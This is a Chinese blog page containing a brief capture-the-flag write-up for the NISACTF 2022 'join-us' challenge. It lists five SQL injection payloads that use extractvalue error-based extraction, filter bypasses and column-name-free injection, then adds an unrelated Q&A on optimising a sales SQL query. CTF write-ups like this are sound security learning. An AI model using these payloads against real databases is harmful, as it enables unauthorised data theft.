【[NISACTF 2022]join-us

[NISACTF 2022]


题源:https://www.ctfer.vip/#/problem/2034


题目:join-us

-1' || (select*from ANTONIE)#

-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#

-1' || extractvalue(1,concat(0x5c,(select*from (select*from output a join output b)c)))#

-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#

-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#

总结

所用知识点:
注入检测fuzz;
黑名单绕过(‘||’、extractvalue、like);sys应该也可但没试
无列名注入;
sql中mid函数截取。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
优化代码SELECT SUM(IF(order_date BETWEEN '2022-10-31' AND '2022-11-11' AND is_new_customer = 1, 1, 0)) AS new_customer_count, SUM(IF(order_date BETWEEN '2022-10-31' AND '2022-11-11' AND is_new_customer = 0, 1, 0)) AS old_customer_count, SUM(IF(order_date BETWEEN '2022-10-31' AND '2022-11-11' AND is_new_customer = 1, payment_amount, 0)) AS new_customer_payment_amount, SUM(IF(order_date BETWEEN '2022-10-31' AND '2022-11-11' AND is_new_customer = 0, payment_amount, 0)) AS old_customer_payment_amount, SUM(IF(order_date BETWEEN '2022-10-31' AND '2022-11-11' AND category = 'A', 1, 0)) AS category_A_customer_count, SUM(IF(order_date BETWEEN '2022-10-31' AND '2022-11-11' AND category = 'A', payment_amount, 0)) AS category_A_payment_amount, SUM(IF(order_date BETWEEN '2022-10-31' AND '2022-11-11' AND category = 'B', 1, 0)) AS category_B_customer_count, SUM(IF(order_date BETWEEN '2022-10-31' AND '2022-11-11' AND category = 'B', payment_amount, 0)) AS category_B_payment_amount, SUM(IF(order_date BETWEEN '2022-10-31' AND '2022-11-11' AND product_id = 'P1', 1, 0)) AS product_P1_customer_count, SUM(IF(order_date BETWEEN '2022-10-31' AND '2022-11-11' AND product_id = 'P1', payment_amount, 0)) AS product_P1_payment_amount FROM orders o LEFT JOIN (SELECT DISTINCT order_date FROM orders WHERE order_date BETWEEN '2022-10-31' AND '2022-11-11') d1 ON o.order_date = d1.order_date LEFT JOIN (SELECT DISTINCT order_date FROM orders WHERE order_date BETWEEN '2021-10-31' AND '2022-10-30' AND order_date NOT IN (SELECT order_date FROM orders WHERE order_date BETWEEN '2022-10-31' AND '2022-11-11')) d2 ON o.order_date = d2.order_date LEFT JOIN (SELECT DISTINCT order_date FROM orders WHERE order_date BETWEEN '2021-11-12' AND '2022-10-30' AND order_date IN (SELECT order_date FROM orders WHERE order_date BETWEEN '2022-10-31' AND '2022-11-11')) d3 ON o.order_date = d3.order_date WHERE d1.order_date IS NOT NULL OR d2.order_date IS NOT NULL OR d3.order_date IS NOT NULL;
05-25
这个 SQL 查询语句的复杂度比较高,可以尝试进行以下优化: 1. 避免使用子查询:可以将重复使用的子查询转化为临时表,并使用 JOIN 进行连接,以减少重复计算。 2. 使用索引:可以在 order_date、is_new_customer、category 和 product_id 字段上创建索引,以加快查询速度。 3. 减少 IF 函数的使用:可以使用 CASE WHEN 语句替换 IF 函数,以提高查询效率。 4. 缩短时间范围:如果数据量较大,可以缩短查询的时间范围,以减少计算量。 5. 分批次查询:如果数据量非常大,可以将查询分成多个批次进行,以避免内存溢出。 综上所述,可以将查询语句进行如下优化: ``` CREATE TEMPORARY TABLE temp_orders AS SELECT DISTINCT order_date FROM orders WHERE order_date BETWEEN '2022-10-31' AND '2022-11-11'; CREATE TEMPORARY TABLE temp_orders1 AS SELECT DISTINCT order_date FROM orders WHERE order_date BETWEEN '2021-10-31' AND '2022-10-30' AND order_date NOT IN ( SELECT order_date FROM orders WHERE order_date BETWEEN '2022-10-31' AND '2022-11-11' ); CREATE TEMPORARY TABLE temp_orders2 AS SELECT DISTINCT order_date FROM orders WHERE order_date BETWEEN '2021-11-12' AND '2022-10-30' AND order_date IN ( SELECT order_date FROM orders WHERE order_date BETWEEN '2022-10-31' AND '2022-11-11' ); SELECT SUM(CASE WHEN o.order_date BETWEEN '2022-10-31' AND '2022-11-11' AND is_new_customer = 1 THEN 1 ELSE 0 END) AS new_customer_count, SUM(CASE WHEN o.order_date BETWEEN '2022-10-31' AND '2022-11-11' AND is_new_customer = 0 THEN 1 ELSE 0 END) AS old_customer_count, SUM(CASE WHEN o.order_date BETWEEN '2022-10-31' AND '2022-11-11' AND is_new_customer = 1 THEN payment_amount ELSE 0 END) AS new_customer_payment_amount, SUM(CASE WHEN o.order_date BETWEEN '2022-10-31' AND '2022-11-11' AND is_new_customer = 0 THEN payment_amount ELSE 0 END) AS old_customer_payment_amount, SUM(CASE WHEN o.order_date BETWEEN '2022-10-31' AND '2022-11-11' AND category = 'A' THEN 1 ELSE 0 END) AS category_A_customer_count, SUM(CASE WHEN o.order_date BETWEEN '2022-10-31' AND '2022-11-11' AND category = 'A' THEN payment_amount ELSE 0 END) AS category_A_payment_amount, SUM(CASE WHEN o.order_date BETWEEN '2022-10-31' AND '2022-11-11' AND category = 'B' THEN 1 ELSE 0 END) AS category_B_customer_count, SUM(CASE WHEN o.order_date BETWEEN '2022-10-31' AND '2022-11-11' AND category = 'B' THEN payment_amount ELSE 0 END) AS category_B_payment_amount, SUM(CASE WHEN o.order_date BETWEEN '2022-10-31' AND '2022-11-11' AND product_id = 'P1' THEN 1 ELSE 0 END) AS product_P1_customer_count, SUM(CASE WHEN o.order_date BETWEEN '2022-10-31' AND '2022-11-11' AND product_id = 'P1' THEN payment_amount ELSE 0 END) AS product_P1_payment_amount FROM orders o LEFT JOIN temp_orders d1 ON o.order_date = d1.order_date LEFT JOIN temp_orders1 d2 ON o.order_date = d2.order_date LEFT JOIN temp_orders2 d3 ON o.order_date = d3.order_date WHERE d1.order_date IS NOT NULL OR d2.order_date IS NOT NULL OR d3.order_date IS NOT NULL; ``` 这样可以减少重复计算,使用 CASE WHEN 语句替换 IF 函数,同时避免了多次查询子查询的操作。同时,如果数据量较大,可以缩小查询时间范围,或者分批次查询,以减少内存使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值